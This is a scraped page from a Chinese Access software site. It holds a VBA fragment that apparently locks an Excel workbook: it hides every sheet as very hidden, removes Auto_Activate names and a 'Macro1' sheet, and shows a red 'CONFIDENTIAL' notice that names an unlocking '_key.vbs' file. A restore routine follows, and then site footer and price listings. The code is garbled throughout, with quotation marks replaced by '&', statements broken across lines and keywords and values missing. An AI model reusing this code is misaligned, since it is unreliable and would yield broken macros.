Fso.OpenTextFile(pathf, 2, True, -1)
FileText.Write
FileText.Close
Private Sub RestoreBeforeSend()
Dim aa As Name, i_row As Integer,
i_col As Integer
Dim sht As Object
Application.ScreenUpdating =
Application.DisplayAlerts = False
On Error Resume Next
aa In ThisWorkbook.Names
aa.Visible = True
If Split(aa.Name,
&!&)(1) = &Auto_Activate& Then aa.Delete
For Each sht In
ThisWorkbook.Sheets
If sht.Name = &Macro1& Then
sht.Visible =
xlSheetVisible
sht.Delete
Sheets(1).Select
Sheets.Add
For Each sht In
ThisWorkbook.Sheets
If sht.Name && Sheets(1).Name Then sht.Visible
= xlSheetVeryHidden
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 *
Cells(i_row, i_col) = &** CONFIDENTIAL! ** &
Cells(i_row + 2,
i_col) = &Use & & Chr(34) & Left(ThisWorkbook.Name,
Len(ThisWorkbook.Name) - 4) & &_key.vbs& & Chr(34) & & To Open This
Cells(i_row + 3, i_col) = &请用 & & Chr(34) &
Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & &_key.vbs& &
Chr(34) & & 解锁此文件.&
With Range(Cells(i_row, i_col), Cells(i_row + 2,
.Font.Bold = True
.Font.ColorIndex = 3
Application.ScreenUpdating = True
Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As
On Error Resume Next
ActiveSheet.Name
Application.ScreenUpdating =
Application.DisplayAlerts = False
For Each sht In
ThisWorkbook.Sheets
If sht.Name && &Macro1& Then sht.Visible =
xlSheetVisible
For Each rng In Sheets(del_sht).Range(&A1:F15&)
InStr(rng.Value, &CONFIDENTIAL&) & 0 Then
del_frag = True
If del_frag = True Then
Sheets(del_sht).Delete
Application.ScreenUpdating = True
End Function
Access软件网官方交流QQ群 (群号:)
　　　　　　
&&&&【&&】&&&&【&&】&&&&【&&】&&&&【&&】
Access网店
价格：￥280 元
价格：￥200 元
价格：￥199 元
(07-15 00:05)
(07-14 13:02)
(07-13 22:50)
(07-13 11:10)
(07-13 09:05)
(07-12 19:26)
(07-12 17:41)
(07-12 16:45)
(07-12 16:26)
(07-12 14:19)
Access软件网 版权所有 CopyRight
提供支持 本站特聘法律顾问: 李慧 律师